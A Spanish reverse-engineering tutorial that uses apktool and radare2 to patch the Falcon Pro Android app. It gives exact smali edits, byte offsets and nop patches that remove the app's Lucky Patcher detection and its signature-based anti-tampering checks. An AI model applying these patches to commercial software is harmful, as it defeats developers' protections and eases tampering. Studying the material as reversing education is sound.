Keep calm and use r2 to reverse Falcon Pro

El objetivo del presente artículo es mostrar el uso de la herramienta radare2 (en adelante r2), para realizar reversing en aplicaciones Android. Utilizando como ejemplo el conocido cliente de Twitter, Falcon Pro.

Mi intención no es fomentar en ningún momento la piratería de las aplicaciones ni desacreditar el arduo trabajo de los desarrolladores. Únicamente estimo interesante el hecho de mostrar cómo modificar el comportamiento original de una aplicación utilizando nuevas herramientas.

Introducción

La elección de Falcon Pro como objeto de experimento no viene dada por mera coincidencia. El desarrollador, se ha tomado las molestias de introducir técnicas anti-tampering para evitar la posibilidad de realizar modificaciones del classes.dex original, comprobaciones de licencia para verificar que la aplicación ha sido comprada a través del market de Google, y una protección en especial, entre algunas otras, que me molesta mucho; determinar si la herramienta ‘Lucky Patcher‘ se encuentra instalada en el terminal y en caso de ser así, impedir la ejecución conjunta de ambas, al menos hasta que el usuario no decida desinstalarla.

Captura de pantalla 2013-04-07 a la(s) 05.41.13

Esto es debido a que mayoritariamente ‘Lucky Patcher‘ es una herramienta utilizada para hacer modificaciones ‘on-fly‘ de las aplicaciones instaladas en un dispositivo, permitiendo evadir comprobaciones de licencias, modificaciones de permisos, o realizar en general cualquier alteración de código que pueda alterar el comportamiento original de la aplicación.

Captura de pantalla 2013-04-07 a la(s) 05.49.16

En lo personal, utilizo ambas en varios de mis terminales, y como he adquirido sendas licencias, el hecho de que me priven utilizar dichas utilidades conjuntamente me molesta. Por ello, la solución que mostraré a continuación, consiste en eliminar esta comprobación además de las técnicas anti-tampering implementadas.

Aunque en este ejemplo en concreto estemos utilizando r2, existen muchas otras alternativas, por ejemplo desensamblando el fichero de clases y modificando directamente el código dalvik.

Asentando las bases

Para hacer más llevadera la lectura y el seguimiento de las explicaciones, antes de adentrarnos a utilizar r2, explicaremos como modificar la aplicación desensamblando y modificando directamente el código dalvik de la misma. Más tarde podremos volver sobre nuestros pasos y utilizar las nociones adquiridas para afrontar el reto de conseguir nuestro objetivo abordándolo por otra vía.

Sirviéndonos de la utilidad apktool, extraeremos los fuentes:

$ java -jar apktool.jar d -r com.jv.falcon.pro-1.apk

Esto nos generará una salida repleta de ficheros con la extensión *.smali, podéis observar el resultado final en la siguiente captura:

Captura de pantalla 2013-04-07 a la(s) 05.30.23

Si os fijáis, algunos ficheros tienen por nombre palabras sin sentido aparente, analizando cualquiera de ellos, podréis descubrir que ocurre lo mismo con los métodos, o los nombres de las variables. Estamos ante una aplicación ofuscada con Proguard, por lo que podemos discernir que nuestro desarrollador, no quiere ponernos las cosas fáciles.

Captura de pantalla 2013-04-07 a la(s) 05.30.58

Aun así, nuestro primer paso será realizar una rápida toma de contacto con el código, buscando posibles cadenas que nos permitan discernir hacia dónde dirigir nuestra siguiente actuación. En lo personal, dirigiría mi búsqueda hacia los siguientes valores:

$ grep -Hrsin "validator" * --color=AUTO
…
cv.smali:190:    const-string v0, "LicenseValidator"
cv.smali:246:    const-string v0, "LicenseValidator"
…

Parece que existe un ‘LicenseValidator‘, probemos más suerte buscando por ‘license

$ grep -Hrsin "license" * --color=AUTO
…
cl.smali:43:    const-string v0, "com.android.vending.licensing.ILicenseResultListener"
cq.smali:760:    const-string v1, "LicenseChecker"
tf.smali:81:    const-string v0, "de.androidpit.app.services.ILicenseService"
ti.smali:78:    const-string v1, "LICENSED"
ti.smali:87:    const-string v1, "NOT_LICENSED"
tj.smali:289:    const-string v0, "AndroidPitLicenseChecker"
…

En esta ocasión podemos denotar que hemos acertado más con la cadena a buscar, y podemos afirmar que la aplicación parece basar su seguridad en la conocida ‘Android License Verification Library‘ que se encarga de comprobar si el usuario ha adquirido legalmente una copia legítima procedente de la Play Store.

No obstante, no estando conforme con ello, nuestro desarrollador también ha incluido una comprobación adicional, basada en ‘AndroidPIT Licensing  Library‘, como nuestro objetivo principal no es desproveer a la aplicación de este tipo de protecciones, no me detendré en explicar cómo eliminarlas, así que realizaremos una nueva búsqueda compuesta por “luckypatcher“.

$ grep -Hrsin "luckypatcher" * --color=AUTO
…
rl.smali:253:    #const-string v1, "com.dimonvideo.luckypatcher"
rl.smali:326:    #const-string v0, "/LuckyPatcher"
…

Sin aventurarnos demasiado, podemos conjeturar que tal vez lo que andamos buscando se encuentra en el fichero ‘rl.smali‘. Analizándolo más de cerca, podemos encontrar los siguientes puntos de interés:

En la línea 125, se define el siguiente método: ‘.method public static a(Landroid/content/Context;)Ljava/lang/String;‘, donde se encarga de comprobar que la aplicación Falcon Pro está instalada bajo el packagename ‘com.jv.falcon.pro‘, obteniendo la firma asociada al mismo. En caso de no encontrar coincidencia alguna, se abortará la ejecución.

.method public static a(Landroid/content/Context;)Ljava/lang/String;
.locals 3
.parameter

.prologue
.line 132
invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

move-result-object v0

.line 135
:try_start_0
const-string v1, "com.jv.falcon.pro"

const/16 v2, 0x40

invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;

move-result-object v0

.line 136
iget-object v1, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;

.line 137
new-instance v0, Ljava/lang/String;

const/4 v2, 0x0

aget-object v1, v1, v2

invoke-virtual {v1}, Landroid/content/pm/Signature;->toChars()[C

move-result-object v1

invoke-direct {v0, v1}, Ljava/lang/String;->;([C)V
:try_end_0
.catch Landroid/content/pm/PackageManager$NameNotFoundException; {:try_start_0 .. :try_end_0} :catch_0<     .line 141     :goto_0     return-object v0     .line 139     :catch_0     move-exception v0     .line 140     invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V

.line 141
const/4 v0, 0x0

goto :goto_0
.end method

Nuevamente en la línea 245, nos encontramos con el siguiente método: '.method public static b(Landroid/content/Context;)Z', donde comprueba si entre los paquetes instalados en nuestro terminal, se encuentra alguna coincidencia con las cadenas: 'com.dimonvideo.luckypatcher' y 'com.chelpus.lackypatch'. Esos nombres hacen alusión al packageName que posee LuckyPatcher. Efectivamente, es aquí donde se está realizando la primera comprobación que nosotros queremos evitar:

.method public static b(Landroid/content/Context;)Z
.locals 2
.parameter

.prologue
const/4 v0, 0x1

.line 367
const-string v1, "com.dimonvideo.luckypatcher"

invoke-static {p0, v1}, Lrl;->a(Landroid/content/Context;Ljava/lang/String;)Z

move-result v1

if-eqz v1, :cond_1

.line 375
:cond_0
:goto_0
return v0

.line 371
:cond_1
const-string v1, "com.chelpus.lackypatch"

invoke-static {p0, v1}, Lrl;->a(Landroid/content/Context;Ljava/lang/String;)Z

move-result v1

if-nez v1, :cond_0

.line 375
const/4 v0, 0x0

goto :goto_0
.end method

En el primer caso, está asignando el string 'com.dimonvideo.luckypatcher' al registro v1 y pasándolo como parámetro al método '.method private static a(Landroid/content/Context;Ljava/lang/String;)Z', el resultado es almacenado en v1 nuevamente, y se comprueba que sea distinto de cero, en caso de ser así, se habrá encontrado alguna coincidencia y el proceso de Falcon Pro se cerrará provocando un stackTrace.

Análogamente sucede lo mismo para el string 'com.chelpus.lackypatch', por lo que obviaremos su explicación. Aunque sí nos centraremos en detallar qué hace el método mencionado anteriormente y del que se apoya esta comprobación:

.method private static a(Landroid/content/Context;Ljava/lang/String;)Z
.locals 3
.parameter
.parameter

.prologue
const/4 v0, 0x0

.line 380
:try_start_0
invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

move-result-object v1

const/4 v2, 0x0

invoke-virtual {v1, p1, v2}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

move-result-object v1

.line 382
if-nez v1, :cond_0

.line 394
:goto_0
return v0

.line 389
:cond_0
const/4 v0, 0x1

goto :goto_0

.line 390
:catch_0
move-exception v1

goto :goto_0
.end method

Basicamente se realiza una llamada de comprobación al método 'getPackageManager().getApplicationInfo(paramString, 0)' donde paramString, es el nombre del paquete que se quiere comprobar si está instalado. De no existir coincidencia, el resultado será 0, y en caso contrario 1.

Independientemente del valor, el resultado será devuelto a '.method public static b(Landroid/content/Context;)Z' y se comprobará con la instrucción "if-nez v1, :cond_0" definida en las líneas 259 y 274 respectivamente.

La forma de saltarnos esta restricción es variada, en nuestro caso, vamos a proceder a modificar el nombre del paquete que está buscando por cualquier otra string:

-  253     #const-string v1, "com.dimonvideo.luckypatcher"
+ 254     const-string v1, "aaaaa"

Repetimos el paso nuevamente:

-  268     #const-string v1, "com.chelpus.lackypatch"
+ 269     const-string v1, "bbbbb"

Una vez llegados a este punto, si recordamos la búsqueda inicial con grep, había otra coincidencia para "/LuckyPatcher" hospedada en el método ".method public a()V":

.method public a()V
.locals 3

.prologue
.line 67
const/4 v0, 0x0

iput-object v0, p0, Lrl;->h:Lru;

.line 69
iget-object v0, p0, Lrl;->g:Landroid/content/Context;

invoke-static {v0}, Lrl;->b(Landroid/content/Context;)Z

move-result v0

if-eqz v0, :cond_1

.line 74
:try_start_0
const-string v0, "/LuckyPatcher"

invoke-static {v0}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;

move-result-object v0

.line 76
invoke-virtual {v0}, Ljava/io/File;->exists()Z

move-result v1

if-eqz v1, :cond_0

invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z

move-result v1

if-eqz v1, :cond_0

.line 77
const-wide/16 v1, 0x0

invoke-static {v0, v1, v2}, Lrx;->a(Ljava/io/File;J)Z
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

.line 83
:cond_0
:goto_0
iget-object v0, p0, Lrl;->d:Ltn;

invoke-interface {v0}, Ltn;->b()V

.line 102
:goto_1
return-void

.line 79
:catch_0
move-exception v0

.line 80
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V

goto :goto_0

.line 90
:cond_1
iget-object v0, p0, Lrl;->g:Landroid/content/Context;

invoke-static {v0}, Lrl;->a(Landroid/content/Context;)Ljava/lang/String;

move-result-object v0

.line 92
const-string v1, "308202f1308201d9a00302010202044ec4ab45300d06092a864886f70d01010b05003029310e300c060355040713055061726973311730150603550403130e4a6f617175696d20566572676573301e170d3132313133303138313330395a170d3432313132333138313330395a3029310e300c060355040713055061726973311730150603550403130e4a6f617175696d2056657267657330820122300d06092a864886f70d01010105000382010f003082010a02820101009e239ca473ada19b7cea9c06cee1ad972af1abb359660eca394818f79d3253fecb25dd2ae7e8ff50d28ed094599b78bc1eab989c9072c872cb4bdf0d5de4f8a8120187603f83e44c4b1a24cc3faf3db88ee9fa20ea9033d6f9f13ea8a5a393c66c2db1b194c41392d0bad7d4493a1cc64e205e8c674047943f7b59264bd76e77d357e721738129250fbef1ba8ff6e3ff7d35a5e58645573a54214d7f710e6aab5422f18caa85042498503da98bc3ff9f8d238915a5e2a095bd2a851bdfff943dbed534bf1d515cda174063a12025f230843e7b0584870be02db941ade13a2a9fe8b59eae3c4e18b2f616f539176e40be36a575b0ba3b75814e3539547cc88a990203010001a321301f301d0603551d0e04160414e39010011f003633f3f95d31c26c5c4c2b443f18300d06092a864886f70d01010b050003820101008a17436dd486111dbb0da3c5f23257ad845746457e9599c82ef52566afa5613922957d88394da56fd189ecf403a8e3ee6ddba1eb1f455cd9d85e89dd5e642bb73b283f44ef4f0cbffa36b217062ef0fea2f4d1b2ff8030b722135f81a9c995bcbe2ed5498494bc366fd6b8a6caca9d33ea64238c025959817d6314c303ecb5952b44c5f9f29596167a48ebca66ebbc68deb97a52ccf0235df97db80bf8c4a8e5c103a187caa3c70050353a0b58fa6fd3e2f7c8897eafceb5934c13dfbc32f8d5235f7208b8c19f1f52fc75dd8618182e27d33f5b1fd55d2dcaea79172102b0e30a69f68993419e8e5ed434b1355ba25f51a8ffa40915324e63489864877b7e7e"

invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v0

#if-eqz v0, :cond_2

.line 95
iget-object v0, p0, Lrl;->e:Ltj;

iget-object v1, p0, Lrl;->d:Ltn;

invoke-virtual {v0, v1}, Ltj;->a(Ltn;)V

goto :goto_1

.line 99
:cond_2
iget-object v0, p0, Lrl;->d:Ltn;

invoke-interface {v0}, Ltn;->b()V

goto :goto_1
.end method

En este punto se suceden dos comprobaciones, en primer lugar se determina si existe algún fichero bajo ese nombre y si es un directorio. En caso de ser así se produce una llamada al método 'invoke-static {v0, v1, v2}, Lrx;->a(Ljava/io/File;J)Z', el cual está definido en el fichero 'rx.smali' concretamente en la línea 988, y su cometido es eliminar todo los ficheros que hayan podido ser creados por la herramienta LuckyPatcher, una solución poco ortodoxa, intrusiva y muy poco ética.

.method public static a(Ljava/io/File;J)Z
.locals 13
.parameter
.parameter

.prologue
const/4 v1, 0x0

.line 585
invoke-virtual {p0}, Ljava/io/File;->list()[Ljava/lang/String;

move-result-object v3

.line 586
if-eqz v3, :cond_0

move v0, v1

.line 587
:goto_0
array-length v2, v3

if-lt v0, v2, :cond_1

.line 610
:cond_0
const/4 v0, 0x1

return v0

.line 589
:cond_1
new-instance v4, Ljava/io/File;

aget-object v2, v3, v0

invoke-direct {v4, p0, v2}, Ljava/io/File;->(Ljava/io/File;Ljava/lang/String;)V

.line 590
invoke-virtual {v4}, Ljava/io/File;->isDirectory()Z

move-result v2

if-eqz v2, :cond_5

.line 593
invoke-virtual {v4}, Ljava/io/File;->list()[Ljava/lang/String;

move-result-object v5

.line 594
if-nez v5, :cond_3

.line 587
:cond_2
:goto_1
add-int/lit8 v0, v0, 0x1

goto :goto_0

.line 597
:cond_3
array-length v6, v5

move v2, v1

:goto_2
if-ge v2, v6, :cond_2

aget-object v7, v5, v2

.line 598
new-instance v8, Ljava/io/File;

invoke-direct {v8, v4, v7}, Ljava/io/File;->(Ljava/io/File;Ljava/lang/String;)V

.line 599
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J

move-result-wide v9

invoke-virtual {v8}, Ljava/io/File;->lastModified()J

move-result-wide v11

add-long/2addr v11, p1

cmp-long v7, v9, v11

if-lez v7, :cond_4

.line 600
invoke-virtual {v8}, Ljava/io/File;->delete()Z

.line 597
:cond_4
add-int/lit8 v2, v2, 0x1

goto :goto_2

.line 604
:cond_5
invoke-virtual {v4}, Ljava/io/File;->isDirectory()Z

move-result v2

if-nez v2, :cond_2

invoke-static {}, Ljava/lang/System;->currentTimeMillis()J

move-result-wide v5

invoke-virtual {v4}, Ljava/io/File;->lastModified()J

move-result-wide v7

add-long/2addr v7, p1

cmp-long v2, v5, v7

if-lez v2, :cond_2

.line 606
invoke-virtual {v4}, Ljava/io/File;->delete()Z

goto :goto_1
.end method

Volviendo a nuestro foco anterior, comprobamos que posteriormente tras la llamada a 'Lrx;->a(Ljava/io/File;J)Z' se procede a almacenar en el registro v0 el resultado de la llamada al método: 'Lrl;->a(Landroid/content/Context;)Ljava/lang/String;', esta función, comentada más arriba determina si existe el packageName 'com.jv.falcon.pro' en el dispositivo y devuelve el signature del mismo.

Si continuamos analizando el código, las instrucciones venideras son una asignación al registro v1 de lo que parece ser la firma que se espera encontrar, y la posterior llamada a 'invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z' para comprobar si el contenido de los registros v0 y v1 coinciden. El resultado es depositado nuevamente en v0, con la instrucción 'move-result v0' y se comprueba si es igual a cero con 'if-eqz v0, :cond_2'.

Todo esto se corresponde con una técnica de anti-tampering, para evitar que la aplicación pueda ser decompilada y modificada, basándose en la comprobación de la firma que posee el paquete. Las modificaciones que nosotros vamos a introducir son las siguientes:

-  326     #const-string v0, "/LuckyPatcher"
+  327     const-string v0, "aaaa"

Para que busque un directorio inexistente, y además comentaremos la comprobación realizada por 'if-eqz v0, :cond_2' :

-  387     if-eqz v0, :cond_2
+  387     #if-eqz v0, :cond_2

Con estas modificaciones conseguimos hacer gran parte del trabajo, pero hay otros puntos donde debemos de repetir el proceso. Para ello realicemos la siguiente búsqueda:

$ grep -Hrsin "30820" * --color=AUTO

iv.smali:33:    const-string v0, "308202f1308201d9a00302010202044…
rl.smali:381:    const-string v1, "308202f1308201d9a00302010202044…
rl.smali:529:    const-string v1, "308202f1308201d9a00302010202044…

Todas estas referencias hacen alusión al problema comentado anteriormente, se tratan de comprobaciones para evitar la modificación de la aplicación. Aplicando los siguientes cambios, habremos finalizado nuestro trabajo:

Fichero: iv.smali

- 49    if-eqz v0, :cond_0
+ 49   #if-eqz v0, :cond_0

Fichero: rl.smali (Únicamente modificaremos la última coincidencia, la anterior ya la hemos realizado)

- 535     if-eqz v0, :cond_0
+ 535     #if-eqz v0, :cond_0

Si recompilamos y realizamos una instalación nueva de 'Falcon Pro', teniendo 'Lucky Patcher' en el mismo dispositivo, podremos observar como nuestro problema ha desaparecido:

Sin título-1

Avanzando con r2

Después de haber explicado la base de nuestra investigación, el objetivo a cumplir, y habiendo expuesto cómo realizarlo utilizando técnicas convencionales, es el momento de avanzar un poco más y reproducir el mismo resultado utilizando r2. Como habréis visto, todo lo que se ha explicado anteriormente es trivial y no hay nada de nuevo en ello.

La mejor forma de comenzar, será adquirir una copia del repositorio de r2 desde Git, si no lo tenéis hecho ya:

$ git clone git://github.com/radare/radare2
$ cd radare2
$ sudo sys/install.sh

Como queremos realizar modificaciones sobre el fichero de clases, será necesario que lo abramos de la siguiente forma:

$ r2 -w classes.dex

O si lo preferís, podéis especificarle el APK, y ya se encargará automáticamente de descomprimirlo y abrir el fichero dex:

$ r2 -w apk://com.jv.falcon.pro-1.apk

Antes de comenzar, recapitulemos qué cadenas necesitamos encontrar para servirnos como punto de apoyo:

  • com.dimonvideo.luckypatcher
  • com.chelpus.lackypatch
  • /LuckyPatcher
  • 308202f1308201d9a00302010202044…

Si os fijáis, nada más abrir el fichero, automáticamente nos colocamos en el offset 0x00027284, esto es debido a que se trata del entry-point, de cara a poder inspeccionar el fichero completo será mejor situarnos en el offset 0x00000000:

[0x00027284]> s 0

Si tratamos de buscar referencias a las cadenas en los opcodes que conforman la aplicación, no encontraremos nada, únicamente referencias a las direcciones de memoria donde estas se encuentran. Por lo que deberemos de dirigirnos a la sección string_data (Más información) y buscar allí directamente utilizando para ello el comando ‘/‘ seguido del string en cuestión:

[0x00000000]> / com.dimonvideo.luckypatcher
Searching 27 bytes from 0x00000000 to 0x003911b8: 63 6f 6d 2e 64 69 6d 6f 6e 76 69 64 65 6f 2e 6c 75 63 6b 79 70 61 74 63 68 65 72
[# ]hits: 190fc0 < 0x003911b8  hits = 1
0x00171d66 hit0_0 "com.dimonvideo.luckypatcher"

[0x00000000]> / com.chelpus.lackypatch
Searching 22 bytes from 0x00000000 to 0x003911b8: 63 6f 6d 2e 63 68 65 6c 70 75 73 2e 6c 61 63 6b 79 70 61 74 63 68
[# ]hits: 190fc0 < 0x003911b8  hits = 1
0x00171d4e hit1_0 "com.chelpus.lackypatch"

[0x00000000]> / LuckyPatcher
Searching 12 bytes from 0x00000000 to 0x003911b8: 4c 75 63 6b 79 50 61 74 63 68 65 72
[# ]hits: 190fc0 < 0x003911b8  hits = 1
0x00143db6 hit2_0 "LuckyPatcher"

[0x00000000]> / 308202f1308201d9a00302010202044
Searching 31 bytes from 0x00000000 to 0x003911b8: 33 30 38 32 30 32 66 31 33 30 38 32 30 31 64 39 61 30 30 33 30 32 30 31 30 32 30 32 30 34 34
[# ]hits: 190fc0 < 0x003911b8  hits = 1
0x00143f92 hit3_0 "308202f1308201d9a00302010202044ec4ab45300d06092a864886f70d01010b05003029310e300c060355040713055061726973311730150603550403130e"

El primer acercamiento nos revela que:

  • El string “com.dimonvideo.luckypatcher” puede comenzar en 0x171d66
  • El string “com.chelpus.lackypatch” puede comenzar en 0x171d4e
  • El string “LuckyPatcher” puede comenzar en 0x143db6
  • El string “308202f1308201d9a00302010202044” puede comenzar en 0x143f92

Si nos desplazamos hasta los respectivos offsets, utilizando ‘s ‘ y posteriormente desensamblamos los cuatro primeros opcodes para corroborar que estamos en la posición exacta, utilizando para ello ‘pd 4‘, obtenemos:

[0x00000000]> s 0x171d66
[0x00171d66]> pd 1
; -------- hit0_0:
0x00171d66      .string "com.dimonvideo.luckypatcher" ; len=27

[0x00171d66]> s 0x171d4e
[0x00171d4e]> pd 1
; -------- hit1_0:
0x00171d4e      .string "com.chelpus.lackypatch" ; len=22

[0x00171d4e]> s 0x143db6
[0x00143db6]> pd 1
; -------- hit2_0:
0x00143db6      .string "LuckyPatcher" ; len=13

[0x00000000]> s 0x143f92
[0x00143f92]> pd 1
; -------- hit16_0:
0x00143f92      33303832         if-ne v0, v3, 12856

Por si os interesa, este proceso se puede realizar de forma más cómoda y sencilla utilizando una única línea:

[0x00000000]> pd 1 @@= 0x171d66 0x171d4e 0x143db6 0x143f92

En este último caso, los valores están siendo representados como opcodes, pero no debemos guiarnos de ello, esto es debido a que esta cadena en concreto no se encuentra dentro de la sección string_data, por lo que no es reconocida por el fichero de clases y por tanto al ser parseada por r2, no es interpretada correctamente.

Como comentaba anteriormente, las direcciones de memoria que tenemos y que usaremos como referencias, únicamente son aproximaciones, no son el valor exacto, esto lo podéis comprobar si utilizáis el comando ‘/c ‘ para buscar referencias internas dado un opcode, utilizando además el carácter ‘~‘ utilizado como grep internamente por r2.

Sabiendo que la instrucción que buscamos es: ‘const-string v0, …‘ o ‘const-string v1, …‘, el comando que he comentado anteriormente nos quedaría tal que:

[0x00000000]> /c const-string v1~0x171d66

Esto no nos devolverá ningún resultado. La forma de obtener la longitud original de una cadena, y con ella la posición de inicio para conseguir encontrar la referencia al opcode en cuestión es utilizando los siguientes comandos en combinación:

[0x00171d65]> s 0
[0x00000000]> / com.dimonvideo.luckypatcher
Searching 27 bytes from 0x00000000 to 0x003911b8: 63 6f 6d 2e 64 69 6d 6f 6e 76 69 64 65 6f 2e 6c 75 63 6b 79 70 61 74 63 68 65 72
[# ]hits: 190fc0 < 0x003911b8  hits = 1
0x00171d66 hit20_0 "com.dimonvideo.luckypatcher"

[0x00000000]> s 0x171d66
[0x00171d66]> pd 1
; -------- hit20_0:
0x00171d66      .string "com.dimonvideo.luckypatcher" ; len=27
[0x00171d66]> f-hit20_0
[0x00171d66]> pd 1
0x00171d66      .string "com.dimonvideo.luckypatcher" ; len=27
[0x00171d66]> s `fd~[0]`
[0x00171d65]> pd 1
; -------- str.com.dimonvideo.luckypatcher:
0x00171d65      .string "com.dimonvideo.luckypatcher" ; len=27

La explicación es bastante sencilla, si nos dirigimos al offset 0x00171d66 y ejecutamos el comando ‘px‘ para que nos muestre un volcado hexadecimal de la posición:

[0x00000000]> px@0x00171d66

-- offset -  0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00171d66  636f 6d2e 6469 6d6f 6e76 6964 656f 2e6c  com.dimonvideo.l

Esa posición hace referencia al primer carácter que integra la cadena, por lo que no podemos utilizarlo, si volvemos a ejecutar el mismo comando, restándole uno, observaremos dos nuevos bytes aparecer, ’1b’:

[0x00000000]> px@0x00171d66-1

-- offset -  0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00171d65  1b63 6f6d 2e64 696d 6f6e 7669 6465 6f2e  .com.dimonvideo.

El valor hexadecimal ‘1b‘ corresponde al decimal ‘27‘, que a su vez es la longitud del string con el que estamos trabajando. Su posición a la que hacer referencia indica que es 0x00171d65. Si volvemos a repetir los pasos anteriores para buscar los opcodes:

[0x00000000]> /c const-string v1~0x171d65
f hit_3030 @ 0x000fddfe   # 4: const-string v1, 0x171d65

[0x00000000]> s 0xfddfe
[0x000fddfe]> pd 4
0x000fddfe      1a01701d         const-string v1, str.com.dimonvideo.luckypatcher

Repitiendo todo este proceso para las restantes cadenas, podemos confirmar que los offsets de origen a los que dirigirnos para buscar referencias son:

  • Offset 0x171d65 para el string “com.dimonvideo.luckypatcher“.
  • Offset 0x171d4d para el string “com.chelpus.lackypatch“.
  • Offset 0x143db4 para el string “/LuckyPatcher“.
  • Offset 0x143f90 para el string “308202f1308201d9a00302010202044…”.

Una vez terminada la búsqueda inicial, podemos proceder a realizar la modificación de las tres primeras strings, teniendo en consideración que no sólo debemos de modificar estas, sino también su longitud. Para ello podemos hacer uso del comando ‘ws pstring‘ que cómo bien indica la ayuda de r2, se encarga de escribir un byte para el tamaño y luego la cadena especificada:

[0x000fde7a]> s 0
[0x00000000]> ws aaa@str.LuckyPatcher
[0x00000000]> ws aaa@str.com.dimonvideo.luckypatcher
[0x00000000]> ws aaa@str.com.chelpus.lackypatch

Si reiniciamos r2 para que los cambios surtan efecto, y volvemos a realizar una búsqueda en cualquiera de los offsets anteriores, veremos que los cambios aplicados ahora son visibles:

[0x00027284]> s 0xfde7a
[0x000fde7a]> pd 4
0x000fde7a      1a008304         const-string v0, 0x143db4
0x000fde7e      711008040000     invoke-static {v0}, 0x292c4
0x000fde84      0c00             move-result-object v0
0x000fde86      6e105d280000     invoke-virtual {v0}, 0x3b56c

[0x000fde7a]> s 0x143db4
[0x00143db4]> pd 4
0x00143db4      .string "aaa" ; len=3

El siguiente objetivo para terminar de aplicar el parche, consiste en modificar aquellas instrucciones condicionales encargadas de comprobar que no se ha realizado ningún tipo de modificación sobre la aplicación original. Probablemente este punto sea posible realizarlo de múltiples maneras, pero expondré el que yo he estimado más efectivo y rápido.

Sabemos que cada vez que se va a comprobar si la aplicación ha sufrido modificación alguna, se define la cadena “308202f1308201d9a00302010202044…” y posteriormente aparece un condiciona ‘if-eqz v0‘. Uniendo todo lo que llevamos aprendido desde el comienzo de la investigación, podemos obtener un patrón aplicando el siguiente comando:

[0x00000000]> /c const-string v~0x143f90
f hit_7335 @ 0x000c2fe4   # 4: const-string v0, 0x143f90
f hit_13563 @ 0x000fdeca   # 4: const-string v1, 0x143f90
f hit_13573 @ 0x000fdff6   # 4: const-string v1, 0x143f90

Luego, sabemos que debemos de desplazarnos a un offset cercano a 0x00c2fe4, 0x000fdeca, 0x000fdff6, vamos a ello:

[0x00000000]> s 0xc2fe4
[0x000c2fe4]> pd
0x000c2fe4      1a00ae04         const-string v0, 0x143f90
0x000c2fe8      5421300d         iget-object v1, v2, 0x1eff4
0x000c2fec      7110d5220100     invoke-static {v1}, 0x3892c
0x000c2ff2      0c01             move-result-object v1
0x000c2ff4      711049350100     invoke-static {v1}, 0x41ccc
0x000c2ffa      0c01             move-result-object v1
0x000c2ffc      6e203e291000     invoke-virtual {v0, v1}, 0x3bc74
0x000c3002      0a00             move-result v0
,=> 0x000c3004      38000e00         if-eqz v0, 14

[0x000c2fe4]> s 0xfdeca
[0x000fdeca]> pd
0x000fdeca      1a01ae04         const-string v1, 0x143f90
0x000fdece      6e203e290100     invoke-virtual {v1, v0}, 0x3bc74
0x000fded4      0a00             move-result v0
,=> 0x000fded6      38000a00         if-eqz v0, 10

[0x000fdeca]> s 0xfdff6
[0x000fdff6]> pd
0x000fdff6      1a01ae04         const-string v1, 0x143f90
0x000fdffa      6e203e290100     invoke-virtual {v1, v0}, 0x3bc74
0x000fe000      0a00             move-result v0
,=> 0x000fe002      38000a00         if-eqz v0, 10
  • La comprobación que se realiza en el fichero iv.smali se encuentra en el offset 0xc3004.
  • La primera comprobación realizada en el fichero rl.smali se encuentra en el offset 0xfded6.
  • La segunda comprobación realizada en el fichero rl.smali se encuentra en el offset 0xfe002

Cada instrucción de branch son un total de 8 bytes, y como estamos trabajando a nivel de binario, comentar la línea utilizando el carácter ‘#‘ no es válido. Deberemos de reemplazar el opcode por 2 instrucciones nop, dado que cada un nop son 4 bytes:

[0x00027284]> s 0xfe002
[0x000fe002]> pd 4
,=> 0x000fe002      38000a00         if-eqz v0, 10
|   0x000fe006      5420d112         iget-object v0, v2, 0x211ba
|   0x000fe00a      5421d012         iget-object v1, v2, 0x211b4
|   0x000fe00e      6e20f3351000     invoke-virtual {v0, v1}, 0x4221c

[0x000fe002]> wx 00000000
[0x000fe002]> pd 5
0x000fe002      0000             nop
0x000fe004      0000             nop
0x000fe006      5420d112         iget-object v0, v2, 0x211ba
0x000fe00a      5421d012         iget-object v1, v2, 0x211b4
0x000fe00e      6e20f3351000     invoke-virtual {v0, v1}, 0x4221c

Este proceso debemos de realizarlo para los otros dos valores:

[0x000fe002]> s 0xc3004
[0x000c3004]> wx 00000000

[0x000c3004]> s 0xfded6
[0x000fded6]> wx 00000000

Con esto, podemos dar por finalizado nuestro objetivo, hemos conseguido repetir el mismo proceso detallado en el apartado anterior, utilizando en esta ocasión r2.

Modificando la cabecera del classes.dex

Cuando tratamos el fichero de clases como un binario sobre el que realizar modificaciones, a diferencia del primer método mostrado, los nuevos valores para las firmas del checksum y el SHA-1 no son calculadas, siendo necesario realizar el proceso por nuestra cuenta.

Lo que nos interesa explicar aquí es que todo fichero .dex, presenta una cabecera con unos determinados campos que aportan información detallada sobre el fichero en cuestión, dentro de esos campos, existen dos que son especialmente importantes:

  • El campo SHA-1, que lee todo el fichero a nivel de bytes, descartando los 32 primeros y calculando el valor con los restantes.
  • El campo checksum, que lee también todo el fichero, descarta los primeros 12 bytes y calculando el valor con los restantes, teniendo en consideración el nuevo valor de SHA-1.

En el ejemplo que se nos presenta, podéis comparar los valores antes y después de realizar las modificaciones:

Original

[] DEX filename: …/classes_original.dex
[] DEX magic: 64 65 78 0A 30 33 35 00
[] DEX version: 035
[] DEX checksum: 0x4121A402
[] SHA1 signature: d9e6563988d602323214d16b228f4f8ee4ea94d8
[] File size: 1870044
…

Modificado

[] DEX filename: …/classes_mod.dex
[] DEX magic: 64 65 78 0A 30 33 35 00
[] DEX version: 035
[] DEX checksum:0xF386A338
[] SHA1 signature: 365272fe850d8b07a2b3630c68a9c093d451fcf1
